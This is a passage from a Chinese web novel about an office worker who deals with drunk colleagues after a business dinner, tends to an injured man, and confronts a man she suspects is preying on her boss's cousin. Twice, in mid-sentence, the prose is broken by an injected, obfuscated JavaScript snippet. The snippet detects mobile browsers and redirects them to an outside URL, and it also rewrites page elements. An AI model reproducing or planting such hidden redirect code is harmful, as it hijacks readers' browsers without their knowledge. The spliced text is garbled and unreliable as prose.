我支起手撑下巴,眯眼笑笑看那尖脑袋,“你们说的这些我都懂,勤上网勤学习多看看,有些东西不是要活生生发生在眼前才会明白的。而且这种事,两个人三个人管他几个人关起门来那可能是情趣,拿出来当笑话说也没什么意思。” 尖脑袋有些狼狈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163818|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移开眼。对付这种人,我可太有经验了。 W总裁却没听明白我的话,只坚定地说,“你不懂,这事儿眼睛看看和耳朵听听和真的做是不一样的,等你睡过男人就会明白了。” 我不置可否。她们继续好奇地询问尖脑袋和大男生,到底男男之间怎么做的。有趣的是,运营总监也听得一脸兴奋,他太过积极的态度,叫我都忍不住为他那在家带娃的老婆捏把汗。 十一点的时候,这精彩的饭局还没散场。 两位丽人说明天一早要出差赶飞机,准备辞行了,W总裁表示叫了司机来要亲自送她们回去,自己也顺便和她们一起走。她嘱咐运营总监要陪两位喝尽兴,又说W堂妹再稍陪一会儿把几位各自送走就抓紧回家,这便和两位丽人起身走了。 我也紧跟着背起包来到门外准备撤了,门口等司机开车上来的W总裁叫住了我:“小M你帮我等等小W,留她一个搞不定的,那俩喝嗨了运营也醉了,怕是找不着北。你们赶紧叫车给各自送回家,拉不动就叫服务员帮忙,然后再打车回。” 我本欲拒绝,想到到底她说的对,三个醉鬼让小W一个小女孩哪里收拾得动,既然是马上给叫车送走,那只要拉下来塞上车就行。 我回转到包厢,只见刚刚我出门前还支棱着划拳的三个男人已经东倒西歪。尖脑袋抱着椅子呼噜震天好像睡着了。大男生坐在沙发上撑着双腿,摇头晃脑地呕吐,酸臭味很快充满整个屋子。 W堂妹拉着运营总监,一手拿着个手机,一遍遍问他到底是哪个地址,显然是要帮他打车回家。运营总监烂泥似的靠着她傻笑,又低头去看手机,差点栽倒,叫W堂妹一把抱住才没让他滚到地上去。 这一团乱,简直让人要发疯。我摁掉显示屏上海在播放的音乐和闪烁的灯光,只想速战速决。 “都给我起来,回家了!”我吼一声。 尖脑袋好像给吓醒了,划拉着腿撑起来,醉得不轻地说,“啊?啊?回家,哦,回家,走。” 他抱起椅子上的外套,脚步虚浮歪七扭八地往门外走。还不错啊,省事儿了,比那两个被我一吼站起来走了两步就软倒在地打滚半天爬不起来的,强多了。 “哥,起来!起来啊!”W堂妹死活拽不起来运营总监,又见尖脑袋出了门,惊叫起来,“哎哎!你打车了吗?你知道怎么回吗?” 我真的头痛欲裂,“你赶紧追上去给他把车叫了,看他坐车走再回来。我先喊服务员来架这两个,问出地址叫车给他们塞上去,打电话叫他们家里人接。” 六神无主的W堂妹立即答应,走到门口又转回来,“M姐,你跟我一起去吧,我怕他醉倒了我拉不动。” 别耽误时间了好吗,我还要回家呢!我真的想仰天大喊。 她又赶忙说,“这俩醉了也走不动,你一个人不好处理,我俩送走他再回来送这俩,可能更快点。” 我看着外面十一点多的夜色,想到刚刚下楼在门口都没见人,小姑娘害怕也正常,便同意了。我俩立即追出去,不想那路都走不稳的醉鬼尖脑袋却没了人影,直追到大门口,才见他抱着衣服坐在台阶上。 “欸?”我过去一把薅住这死猪胳膊,不想被他一下子挥开,那力气还不小呢。 “别碰我!”尖脑袋含含糊糊地嘟囔,“我要回家!” “就是送你回家啊!”姥子不爽了,“起来叫车!” “我回家,我叫车!”他扬扬手上的手机,确实亮着缺德地图呢,看样子还叫到车了。 行,那就等车到了给他踢走好了。很快,他手机响了,却跟聋了一样听不见,就是不接,W堂妹去给他抢手机,他还不给。我又要去扒拉,他又给我挥开。 几下之后,我发现了不对劲,这贱皮子怕不是装醉吧。咋他每次都能精准避开我?挥人那力道和姿势,一点也不像醉了的状态。而且他怎么不挥开W堂妹呢?她拉着他的手要去掰那手机,他一边任她拉着手躲来躲去一边捏得死紧不放手机,咋就那么巧妙呢? 我往路口看了看,只见一辆白色小汽车打着双闪停在路口,十有八九就是他叫的,“你车到了,赶紧起来往路口走!”我又吼他一嗓子。 他下意识朝路口看,回头又做出那副醉得臊眉耷眼的样子,“我……我……回家。小W你送我,我回家。” 这语气咋不像是刚第一次见面的人啊?我疑惑。 就听W堂妹说,“走走,我送你回家,你起来啊!”她嗓音娇弱无力跟撒娇似的,拉拔的力气也娇弱,“你起来,我拉不动你。M姐……” 她向我求助,我思考了一下,然后伸手,果然尖脑袋又开始挥我。 这贱皮子绝对是装的!他为什么要装这样?他到底有什么居心?我不禁眯起眼打量他的脸,誓要看穿他的脸皮。 尖脑袋的胳膊坠着W堂妹的手,就是死活起不来身。手上的铃声断了又响起,路口的骑车按了两下喇叭,然后走了。 “你TM到底走不走的?你叫的车都走了!”姥子不想慢慢研究他了,只想他立即滚蛋。 13. 尖脑袋破脑袋 尖脑袋支支吾吾,“……我!回家……我不要你……回家,小W,回家……” 他两脚一直在地上踢蹬,不知道的还以为是半身不遂了,又或者是被按着打杀只有两条腿能挣扎,反正就是反复摩擦起不来呢!W堂妹只能蹲下去抱住他整个胳膊扒拉,一边无用功地喊他起来。 路口的喇叭声又响起,好像还是那辆车,又掉头回来了。 “快快!拉他起来,我叫住车。”我冲那车招手,一边嘱咐W堂妹一边往路口跑。不想没跑几步,那司机明明摇下车窗看见了我,却竟然启动车直接走了! 啥意思?司机以为是我叫的车,故意不接电话耍了他,掉头回来气我再走?还是看到了后头的醉鬼不敢沾手所以走了? 我无从得知,反正这回那车是真走了。我回头再看门口台阶上的两个人,那尖脑袋竟然被W堂妹拉起来了。 这回该可以滚蛋消失了吧?我心想。W堂妹却突然说,“M姐,他重新叫好车了,你跟他在这里等着,我上去看看那两个,一起叫下来打车送走吧。” 这么勤快?这么突然能担事了?我打量他俩没吭声。她说完就自顾转身往回跑了。她一走,就我和尖脑袋大眼瞪小眼了。 尖脑袋可能没料到W堂妹直接扔下他跑了,看我一眼,突然又一屁股坐下了,继续装醉。 呵呵。我站着不动,看他还能怎么演。 几分钟后,他手机又响了,很明显,再次叫的车到了。我背对着路口,但这深夜里,双闪的灯光还是亮。 他埋着头装醉,仍然没接电话,如此响了停停了响三四遍之后,那车也走了。 “咋?我在这里守着,你就不上车是吧?”我可没兴趣跟他演戏。 他不吭声,却抬头看了我一眼。虽然很快他又把头埋进胯里,但我可没错过那眼里的表情。那是闲我碍事的厌烦,和被我阻挠了好事的不爽,以及几分警告。 真有意思!见过浑水摸鱼的,没见过浑酒偷人的。 我没动,在那里琢磨了一下这人和W堂妹的情况。想起来W总裁走的时候,特地和我说的叫我等等W堂妹,我还以为真是她怕堂妹一个小姑娘搞不定三个醉鬼,现在看,恐怕是怕尖脑袋这个贱皮子对W堂妹下手吧。 而W堂妹表现得也和尖脑袋有点熟,只怕之前就见过的,她母女俩在这里是和W总裁家住一起的,W总裁私下和朋友吃饭啊玩耍啊,肯定也会带她俩,那么和尖脑袋见过也不奇怪。而且看她刚刚慌张往上跑,估计是知道尖脑袋对她的心思。 她一个年轻漂亮的小姑娘,又刚谈过二代小开,就算这尖脑袋比小开有钱,但这年纪和外形就没法和人家比,小姑娘不可能喜欢他。何况从这贱皮子穿着打扮和谈吐来看,我可看不出他多有钱。 说起来W堂妹的小开男友,也和我们直播项目一样,黄了呢。 还是会计来和我八卦说的。原来啊,那小开男友是W堂妹跟她堂姐也就是W总裁出去应酬的时候认识的,小开对W堂妹一见钟情,立即发起猛烈攻势。 小开还在上大学,比W堂妹小一岁。W堂妹不喜欢弟弟,但是O女士对女儿能吸引来这么好的金龟婿非常满意,便力主他俩的恋爱以及婚事。W堂妹虽然对那小开没情人之间的爱意,但喜欢被鲜花蛋糕漂亮衣服和美食包围的感觉,便也没有拒绝对方的追求。 W堂妹当上直播项目总经理的时候,小开也向她求婚了,他的父母疼爱儿子也决定随他心意。两家谈婚事,小开父母向O女士提出了以下条件:因儿子还没达到法定婚龄,所以两人先摆酒,儿子还要考研以继承家中千万家业,所以婚后儿媳必须得到学校去陪读照顾儿子生活,两人尽快生下儿子,再领结婚证,为了嘉奖儿媳,会在京市买一套婚房送给二人,此外许下彩礼数十万和三金数万。 W堂妹不太乐意,她只想先谈恋爱处处看,并未准备好结婚。O女士却非常着急,觉得如此好的条件必须抓紧,一直在高压催逼W堂妹让她快点答应。W堂妹一拖再拖,加上当上了直播总经理,事务繁忙,谈恋爱的空闲没了,冷落了小开一段时间。 某天小开父母和W总裁聚餐,期间谈及彩礼的筹备,便问及O女士为女儿准备的嫁妆如何了,并表示希望儿子在年前完婚。O女士自己和女儿都是依附W总裁生活的工薪族,要备下和小开家旗鼓相当的嫁妆怎么可能。 O女士倒是没傻到当场说出来,会晤后便向W总裁借款,并表示自己有了金龟婿肯定还得起。然而W总裁养她们母女二十多年了,又是个商人,深知这亲情借债有去无回的道理,便没同意,只许下会为堂妹添妆八万的承诺。 O女士求借无门,又觉得自己跟了这侄女许多年,鞍前马后,又管后勤又要应酬,没有功劳也有苦劳。到头来这样急需的时候,侄女竟忍心冷眼旁观,她气愤不已。回到家中又催女儿速速答应女婿的求婚,不想两人大吵一架,不欢而散。次日女儿更是直接和小开提了分手。 自己忙前忙后一通周旋,竟是这样的结果,O女士觉得女儿万分不懂自己的苦心,便和同当妈又爱唠嗑的会计诉苦,两人很是感叹了一番。真是父母之爱子为之计深远啊。会计转头就把这事儿来跟我说了,我也不知道她怎么会觉得我一个母胎solo会懂她们的苦心呢,我寻思她这是把我当树洞使。 我倒是关心那小开的后续,这样深爱深情的追求,咋提分手就没了,不可能吧?会计说,那小开确实就同意了,答应得很爽快,也不知道是父母劝他反转了心意,还是学校里又找到了一见钟情的姑娘。好吧。 但不管怎么说,有这小开在前,W堂妹还喜欢某当红男小生,啊,不提没想到,一提发现这小生因为偷税漏税已经404了。反正总之,我觉得W堂妹没道理会看上这尖脑袋! 那绝逼是这渣滓想欺负小姑娘了!姥子岂能让他得逞!滚他丫的! 我看看时间,W堂妹竟是上去了二十多分钟还没下来。我走到尖脑袋跟前,他似乎被我吓到突然抬起头来,又是那副嫌我没眼色碍着他好事的神色。 “呸!”我往旁边吐口吐沫,对不起了清洁阿姨,“你自己爱滚不滚,姥子没空伺候,拜拜!”说完我就从他旁边走过,直接进了餐吧。 我先上了个厕所,然后一边给W堂妹发消息一边上楼,她一直没回复我又打电话过去,还是没人接。怎么回事这是? 我匆匆上了楼,到了二楼走廊,不经意往楼下一看,只见路口停了辆车,尖脑袋垂着头撅着屁股上了后座,很快车子发动而去。哟呵!这下动作倒是快呢!非要骂着才走,真是贱! “哎呀!你起来啊!我拉不动你!啊啊啊!”前头拐弯处突然传来W堂妹撒娇似的抱怨。 我赶忙跑过去,只见卫生间门口W堂妹和运营总监差点滚成一团,堂妹弯腰拽着运营一只手,运营瘫坐在地另一只手拉着她衣摆。 W堂妹见我像见了救星,“M姐你快来帮忙!他刚在卫生间滚进了尿里,服务生都拉不动他,还是我进去和他一起拉出来的,到这里他又成了烂泥,我实在拉不动了!” 我走过去的步伐立即顿住,“服务生呢?” “他去叫人来帮忙了。”W堂妹又试图拉运营一把,“你起来啊哥!” “慢脚那人还在包厢吗?”我看了眼她后头包间门,“我和你也拉不动,你就给他放这里等服务生来,咱俩先去把里面那个拖出来,两个一起拉走。” 她叹了口气,又试着拉了一把烂泥运营,当然拉不动,便放弃了,要跟我进了包间。不想运营倒是扯着她衣摆不放,两脚跟那尖脑袋似的在地上踢蹬,似乎还想自己爬起来,“唔,我起来,我起来……” “哎呀哥!我拉不动你,你放手,我去叫人来!”W堂妹懊恼地喊,边喊又觉得运营者丑态很好笑,脸上哭笑不得。 我呼一口气,自己进了包间。恶臭在里面蔓延,我想到刚外面看见运营嘴巴上可疑的涎水,估摸运营也在这屋吐过了。yue! 我忍住恶心,满屋子不见那慢脚的大男生,却听见包厢卫生间传来咣当一声!我连忙看去,只见一只脚横着伸出来。我跑过去一看,好家伙,那大男生也滚在了地上,肩膀和脑袋靠着墙,额头上鲜血流了下来。 我连忙冲过去蹲下察看,见他捂头皱眉,张着嘴叫但没叫出声,还好,没死。我大松一口气,这才看见他身后半人高的墙上,那水管阀扣沾了血,估计就是他撞的。按说他那个子也不可能磕上面啊。但地上是湿的,倒是没尿骚味,也不知道是水还是什么,估摸是他出来踩上面滑倒了正磕上面。 我伸手拉起他胳膊,一使劲给他拎起来坐住,“你还好吧?起来!我扶你!” “唔……我头晕……”他嘟嘟囔囔哼唧,脑袋打破了也没清醒啊这是。 我看他那血还在流,半张脸都染红了,还顺着脸滴到衣服上,黑T恤上的印花都染红了,“起来,走!我带你去医院缝针!”这别没摔死,血流干噶了。 也不知道是他自己有劲顺着我力道起来的,还是我确实劲儿大,我狠出了一把力气,三两下给他拖了起来。这种醉鬼烂泥起来就别停留,趁他有意识划拉腿,我拖拽着他一路疾走,他脚下也跟踩在云里似的还算配合,很快就出了包厢。 “哥,你起来啊!你起来啊!”W堂妹还在拖着嗓子拉运营,一边拉一边笑。 这笑得力气都没了还拉得动才怪!她妈妈O女士经常也应酬喝酒,我不信她没应付过醉鬼,这点技能都没有。 “快让开快让开!”道路要被他俩阻挡了,我连忙喊,“他还走得动,我先给他拉下去叫车,他头摔破了最好再上来帮你!” W堂妹退到了墙上,运营拽着她衣摆被拉得转了半圈,脚一下横在过道上。我的天呐!真是猪队友! 果然我一脚跨过他的腿,慢脚那位就被他绊倒在地,拽得我也弯了腰。这下两个醉鬼都在尿里打滚了!我真的白眼翻上天,一甩手!得,也别拉了。 W堂妹也看清了慢脚那大男生血呼啦的脸,担心得叫起来,“哎呀!M姐怎么办啊?他流好多血啊!” 我掏出手机,“喂,您好,我现在在XXX餐吧XXXX路店,这里有人摔倒磕破了脑袋满身是血,请你们派救护车来拉到医院缝针。是。喝醉了,我一个女生拉不动,请尽快过来,谢谢!” “等着吧。这我俩是无法了。” W堂妹嘤嘤嘤,“M姐,还好姐姐留了你等我,没你在我都不知道该怎么办了~” 一会儿,那去叫人来帮忙的服务生竟然真的回来了,几个大男人可算给地上两摊烂泥拖了起来,我指挥着他们给拉到了楼下大堂沙发上等救护车来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163819|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “唔?这是哪里?我要回家……”凌晨的冷风一吹,好像给运营总监吹得清醒了几分。 W堂妹连忙举着他的手机跑到他跟前,“哥你醒了!你家地址是哪个?我给你叫车送你回家。” 运营迷迷糊糊看了半天手机,指指这个又指指那个,结果说,“不回家不回家,我老婆要骂我的……不回……” 两人在那里鸡同鸭讲了半天,运营还是没说哪里是他家地址。慢脚那个打破脑袋的反倒爬起来闹着要回家,不过站起来走了一步却又东倒西歪栽回了沙发上。这没让这厮死心,不断嚷嚷着要回家站起来倒回去站起来又倒回去,给姥子都看笑了。 “M姐,怎么办,他不说哪里是他家地址我们不能送他回去了啊。”W堂妹跟运营在那里鬼打墙了半天,过来给我说。 说着她又莫名其妙来一句,“我妈妈打电话来问我了,我这么晚还没回去,她都不敢睡觉还在等我回家呢。” 呵!说起来O女士刚也是陪同W总裁在这里的,只是也和她提前回了。W总裁给我说让我等着W堂妹一起的时候,O女士还跟那里半开玩笑半认真地说让我看顾好她女儿出事要拿我是问呢。 但是我就稀奇了。还以为O女士这种为了搏富贵不惜让女儿献出子宫的人,根本不在乎闺女的安危呢!没想到还担心女儿在餐吧被占便宜。及至此时W堂妹说了她这通电话,我完全确定,她们这几个人跟这俩早就认识了,也都很清楚那尖脑袋对W堂妹龌龊的心思。 只是不知道她们是想从尖脑袋这里得到什么好处,才不惜这样以身伺虎跟他虚以委蛇。难道这尖脑袋真是个有钱的投资人,W总裁想从他这里忽悠些投资款?说不定还真是,她不是想去搞短剧,那不比养直播团队还要烧钱。 我看了看W堂妹,已是入秋了,她还穿的无袖连衣裙,只在外面披了件粉色的夹克外套,穿得这样单薄,搁这厅里站了会儿,就给吹得瑟瑟发抖,模样真是可怜极了。 120是我打的,我这还得等救护车来,这是喝酒出事,人要真死了或者残了废了,追究连带责任我这个同饭局的说不定还得跟着遭殃。我不仅现在不能走,只怕救护车来了也不能走,少不得要去跟着看了医生,这没人前后跑动付钱,放一个伤员自己在医院也不行。 刚毕业的小姑娘确实单纯,但也不是傻子,何况她在W总裁家长大,我这段时间的遭遇她也出了不少力呢。我知道她不会无缘无故扯了她妈的这通电话,肯定有下文。 果然就听见她支支吾吾又说,“他不说他家地址总不能让他在这里睡一夜,要是出了什么事也不好,咱们也不能在这里守他一晚上,一会儿救护车来了总不能把他也拉到医院去……” 我等着她的重点,她顿了顿说,“我妈妈说不如我把他带回家里去,让他在客厅睡一晚,明早醒了直接去上班……” 其实我觉得这主意挺好的还。我还没答应呢,她又很愧疚地说,“要不M姐我先叫车把他送到家,再打车到医院去陪你一起。我打车来回,很快的。” 我不置可否地点点头,然后催促她,“那你抓紧叫车,救护车来之前我还能帮你一起把他拉上车,到家你提前给你妈电话,她好出来帮你一起给人拉上去。” 最后当然也没用我出手,服务生来帮忙给运营攮上车的。这俩刚走,救护车后脚就到了,救护人员颇费了点功夫,才把闹着不肯上车一定要回家的破脑袋抬上去。一路上他几次挣扎要爬起来,都被我攮回去躺着。 到了医院我在各个窗口来回跑,又是挂号又是缴费又是拿药,才给他送进急诊室里缝针。也是从他包里翻出来身份证,我才知道这破脑袋竟比我还小三岁。 医生拿着推子给他把创口的头发剃了,拿了针线准备给他缝合,他却扭来扭去不愿意配合,无奈医生只得把我叫进去按着他不让他动。这厮一开始闹得凶,我两手齐上抓住他脑袋都险些按不住,不想医生才缝了一针,就僵硬着不敢动弹了。还两手给我腰抱得紧紧的,跟个吓破胆的小孩似的。 老娘什么时候被男的这么占便宜过!我只觉得我脑袋比他还痛,极力告诫自己一定要忍住扇飞他的冲动,他是盖他是盖,不是异性取向的男人,这就是正常人害怕的表现而已,而已! 破脑袋被包成个木乃伊的时候,已经四点多了,我又等了会儿取拍的片子。W堂妹来了电话,问我需不需要她过来帮忙,我拒了,这边也要完事了。扶着破脑袋到医院门口打车的时候,我没费什么功夫,缝针之后他似乎醉酒的劲儿彻底过去了,人清醒了不少,也安静多了。 到了他小区门口,我继续给他送到家门口,临门一脚了,他进了屋死活就不要赖我了。这货不知道是觉得自己出来商务应酬喝大了羞愧,还是想起自己跟个小孩似的耍赖觉得丢人,一路总是时不时偷觑我面色,不知道是想听我骂他还是怕我骂人。 他进屋开了灯,我站门口就吩咐,“行,既然你已安全到家了就好好休息,消炎药和止疼药按医嘱吃,三天后去复查换药,后面根据医生安排来。” 他乖巧地点点嗯嗯答应,我把他包给递过去,“记不住没事,我一会儿发给你,你清醒了再看。我走了。” 我直接回了电梯口按下楼,这会儿没人,电梯还停在这层,我上了电梯还听见他在说,“谢谢你,麻烦你了。” 14. 天生树洞圣体 坐上车的时候,东边天的彩霞都亮了,到家的时候晨曦都洒房里了。今天这班我不上了。 洗漱完我躺上床准备睡大觉,那之前先给W总裁发了消息,把情况说了一遍,她肯定也还在睡大觉呢怎么可能回复。我也不可能等着她回复,就直接截图发给了会计,她负责考勤的,可别给我扣了工资。我这没跟老板去要三倍加班费和精神损失赔偿已经不错了。 午后饿醒时,我看到会计十点多回我的消息,还给我截了图,图上是她跑去给老板帮我说情不扣我这天的工资。呵呵哒。 而W总裁给我回复的消息是八点多,无非是夸我处变得当又叫我好好休息。十点多的时候,她还给我发了好多条消息。有一条是尖脑袋的自拍视频,那封面上的乌鸡眼香肠嘴,恶心得我根本不想点开。要不是前面还有张截图,是她和那尖脑袋的对话。 尖脑袋说昨晚自己醉得稀里糊涂的,也不知道怎么打车回的家。没回和他女朋友同居的房子,竟回了父母的房子。父母出去旅游了没人在,他去卫生间洗澡摔了一跤都没给自己摔清醒,还回床上睡到早上。起来才发现一磕门牙给磕掉了,一颗磕缺了一半,说话都漏风。 哈哈哈哈哈哈哈!啊哈哈哈哈哈哈哈哈!笑死老娘了! 都说善恶有报,只是没想到报应这么及时呢!尖脑袋这种恶心人的货,昨晚上我就看他很不爽了,还想着等他醒了如果再次见到他要怎么收拾他呢,没想到昨晚上天就把他收拾了,都没脏了老娘的手。我怕不是有点玄学在身上! 第二天上班,诗诗和会计就来问我昨天怎么我们三个都没来上班,到底发生了什么事。我就把这乐子和她们分享了。这还是她们一直来和我“聊天”我聊得最嗨的一天,彻底把前台这个我的主场抢了回来! “M姐,下回那个投资人来,我们支持你当面教训他!要是你不在,这人绝对是想把W总带走的,真是不要脸!”诗诗笑够了,对那尖脑袋的龌龊狠狠批评。 会计也连忙附和,“就是,他以为自己是谁,我们W总年轻漂亮又有能力怎么看得上他。他还想把人带走,他以为是在酒吧点陪酒的呢!M总,下次他来你只管挤兑他,臊得他没脸再来才好!” 我没说话,W堂妹自己都不想收拾他,还以为自己玩得转人家呢,我为什么要给她出头。我那样干,只是见不惯和给自己出气。我可不是什么大圣母,管救苦救难普渡众生。 昨天我回复W总裁消息的时候就直接问了尖脑袋是不是想对W堂妹出手,她没直说,但东拉西扯解释一堆却和承认无疑的。果然这群人就指着我一个蒙在鼓里的帮W堂妹挡灾害呢? 要我帮忙也好说,至少让我知道背景吧,不然说真的,昨天那尖脑袋要W堂妹送他的时候,要不是我有点女性困境的警觉,我还差点答应了呢。而且说不定我还和她一起给人送到家,那发生什么就不好说了。我不是让他死,就是让他残废的。 我也问了W堂妹,她也承认了和尖脑袋早就认识,而且在L总执掌直播团队的时候,W总裁就带着他们三个和尖脑袋吃过饭,W堂妹也和尖脑袋聊了很久了,说是一来帮姐姐忽悠住这个尖脑袋,二来跟对方多多学习长见识,好让对方多教自己一些本事。 对方到底有没有教她一些本事咱也不知道,反正她自己是说对方已经撩骚她很久了。她请教什么问题,对方最后总能扯到一起出去玩啊一起约啊。反正我听她这么说,只觉得迷惑,咋她竟然是这么信任她姐姐的?那我听见她和运营总监一起当着大家的面说自己姐姐的不是是我幻听了? 而且W总裁就很离谱,她到底是自己有什么奇怪的积累经验的独家心得吗?总想着让一个对业内的东西一窍不通的门外汉,跟人吃几顿饭聊几句天暧昧拉扯几回,就能把人看家本领学到手了?先不论这人是不是有真本事,她们也压根都看不出来呢!还差点赔了夫人又折兵。 她这招真的,我都不知道说啥好了。之前让我带她堂妹是,后来让她堂妹跟着运营总监是,现在遇到这个尖脑袋也是。这是什么鬼打墙的刷经验谬论? 总之昨晚上哪怕尖脑袋闹了这么一出,W堂妹也没说什么要记恨对方甚至都没觉得对方恶心讨厌,还说就继续这样糊弄着。我当然没意见,那尖脑袋跟我也算是无冤无仇。 不过,老天帮我出手教训他,他自作自受是不够的,我跟他的账还没算呢!说了不是圣母就不是圣母,敢因为好事被耽误瞪老娘,老娘一定会亲自打他的脸。除非他此后消失到在我跟前,要是自己送上门来,老娘扇他不客气。 破脑袋清醒后发了好些感谢的话,又说什么要请我吃饭答谢我救命之恩,我表示都是为了工作,没必要。确实是,他那些医疗费我全提给了会计报销,不是这糟心的工作,他根本不可能跟我有交集。以前是,以后也是。 倒是尖脑袋,没想到一个周后,又送上门来了。这回是来了公司,W总裁和她那商场闺蜜表示他说的盖的故事太有趣了,没听够,邀他来公司一起吃饭,继续聊。 那天W总裁和闺蜜去雍和宫烧香,因招待是在晚上,临下班两人都还没来。提前到达的尖脑袋没人接待,她叫了L总去接待聊天等着,还要W堂妹和运营总监去坐陪。 尖脑袋进了公司,先在前台热情招呼没得到我热情回应,又被我瞪了一眼才去到接待室。L总早就泡茶在等,运营总监随后进去。接待室跟前台一墙之隔,门又开着,我听尖脑袋问了几回W堂妹人呢。一会儿,磨磨蹭蹭了半天的W堂妹才往接待室来。 她躲在门口听了会儿也没进去,估计W总裁在那边催呢,她一直拿着手机在回复。当尖脑袋再次问起她的时候,我看她热锅上的蚂蚁似的原地转了两圈,突然来到我跟前。 “M姐,你知道他对我……你陪我一起进去吧,你不说话都可以,你就坐那里就好,等姐姐来了就好。”她双手合十小声乞求。 Oh,no!小姑娘你知道你在做什么吗?我要是进去了,恐怕结果不会比你自己进去更好的。但我怎么忍心拒绝呢,哈哈。 我欣然带着她进去了。 尖脑袋看到我,自发忘记了昨晚上和刚刚进门的不悦,笑呵呵略过我直接看向我身后的W堂妹,用他漏风的嘴巴招呼,“小W快过来坐!” 坐他正对面的运营总监立即识相地让出了位置,我立即不识相地坐下,W堂妹随即在旁边坐下。尖脑袋眼睛和嘴巴抽抽,到底没说什么,我笑眯眯地看着他,虽然他外伤和淤青基本消失不见了,但我已经认出那抽抽的嘴角和眼皮就是受伤的那块。 我笑得更为开心了,捡了茶盘上的一个杯子往面前一放,曲起食指指尖朝下磕两下桌子,示意他倒茶。 那天酒桌上W总裁说他投资眼光太准了,一定要请他当公司的荣誉董事,大家都是自己人。看来他竟是把这话当真的,非常有主人的意识。今天一来就自己坐在了茶盘后面W总裁接待客人常坐的位置,烧水给大家泡起茶来。 他愤愤了一下,可能是安慰了自己一句好男不跟女斗,便拎起分茶器,捡了一个杯子先给W堂妹倒了一杯,才过来给我倒一杯。 我不以为忤,摸摸杯子,亲切问候,“肥总你这牙还没给补上呢?饭嚼得动吗?喝酒不会漏出来吧?” 尖脑袋脸上一绿,没说话,倒是看了看L总。他自从因我辞职被卸任后,一直在我跟前和和气气装老实人,暗里其实盼着我搞事情作死被老板开咯。一看我跟老板口里的新董事这么不对付,老实人也忘记装了,看好戏似的笑得不怀好意。 L总收到新董事的眼风,乐呵呵地介绍,“肥总你跟M总见过吧?这是我们老板手下新项目的总经理M总呢。” 虽然这个身份是个空壳子,但尖脑袋确实也不知道我这个身份,他以为我是老板的助理,还是个没有脾气很大又没眼力见儿的助理。那天酒局上,W总裁也没跟他介绍我。她这样的饭局酒局太多了,每次总要带些人充人头堆面子,应是压根忘了我跟那俩没见过。加上我本身也没问。 我看得明白。尖脑袋要是知道这回事,那天晚上多少都要跟我这里收敛一下的,不会那么直白地把我碍着他好事儿的表情不加掩饰露出来。 他果然脸色变幻了一下,然后堆起笑来,跟我举杯,“哎吆,是我有眼不识泰山了,那天还真没问。来,以茶代酒给M总赔个不是。” 我依然笑着打量他,看他自己把那杯茶喝了,然后说,“你只有这一点不是吗?那你可得好好想想了。” 他笑容僵了僵,顾左右而言他,“啊?什么事?哎哟,你别说了,我和我那老弟真是丢死人了,都不好意思再见你们……” 这种人最喜欢装场面了,表面都光鲜亮丽人五人六的,应该最怕遇到我这种愣头青似的当面不给脸的人,直接撕他假面把他面皮下的腚直接晒出来,他反而措手不及。我想,他心里现在估计骂死了,没见过这样不讲究又让场面难看的人。 “是吗?那你还好意思来,我可真没看出来你没脸啊。”我呵呵一笑。 L总见他面子挂不住了,连忙打圆场,“啊,别顾着说话,来,尝尝这个蒜香青豆,是我们选品那边选上来的,味道很不错呢。”闹一闹他有小报告打就行了,真给新董事闹生气了投资黄了,他也没好处的。 有人解围,尖脑袋也维持着僵笑开始磕青豆,看他那艰难咀嚼的样子,我寻思L总这马屁真是一点也不到位,拍到新董事的马腿上了。 我才懒得和他们多耽误,直接说,“肥总我给你讲哦,我这个人啊,是有点玄学在身上的。得罪我的人呢,报应都不会超过24小时到的。你那牙还是早点补上吧,四十不到看着像六七十黄土埋脖子的老人家似的,显老。” 他假笑终于维持不住了,耷着三角眼露出下三白看着我,好像气得不知道说啥。 “别这么紧张嘛。”我哈哈一笑,“我这是关心你,你这样子要是给你女朋友吓跑了磕怎么办?新的女朋友也不敢来啊。” W堂妹在旁边装傻,一个劲儿喝茶吃豆豆。这时她手机一响,我瞄一眼,是W总裁打来的,她连忙起身出去接。门外楼道里传来叮咚一声,电梯还没停下,里面W总裁和她那闺蜜哈哈哈哈的大笑声就传来了,随着电梯开启更大声。 “肥总,肥总!肥总在哪里呢?”她下了电梯就喊着。 屋里一众人连忙起来出去迎接。尖脑袋和我坐着不动,他自以为的死亡视线收回去了,正更自以为的警告眼神盯着我。 我回给他一个从上到下轻蔑的打量,端起那个茶杯,把茶水倒在茶巾上,“你和W总裁们慢慢聊咯,玩得开心哈~” W总裁在大家的簇拥下走进来之前,我俩同时站起来,他笑脸迎下门口,我直接绕过热闹的一群回到前台,准备下班。 两个捧场的女人来了,尖脑袋似乎找回了自信,在里头用漏风的嘴重新侃侃而谈起来,一会儿把W总裁逗得哈哈大笑,一会儿把她那丽人闺蜜老板笑得拍案叫绝,很是热闹喧腾。 “M总,你们卫生间在哪里啊?”丽人老板的丽人助理秘书出来问我。 我给她指了指方向,她又红着脸小声问,“你有卫生巾吗?借我一片,我包放车上忘背下来了。” 女生总爱随身备一两片卫生巾的,我当然有,便翻着包包给她找。只是一时没找到,她着急上卫生间便说先去了等我给她送。看来又是把我当助理的,也行吧,反正助不助理的也没差。 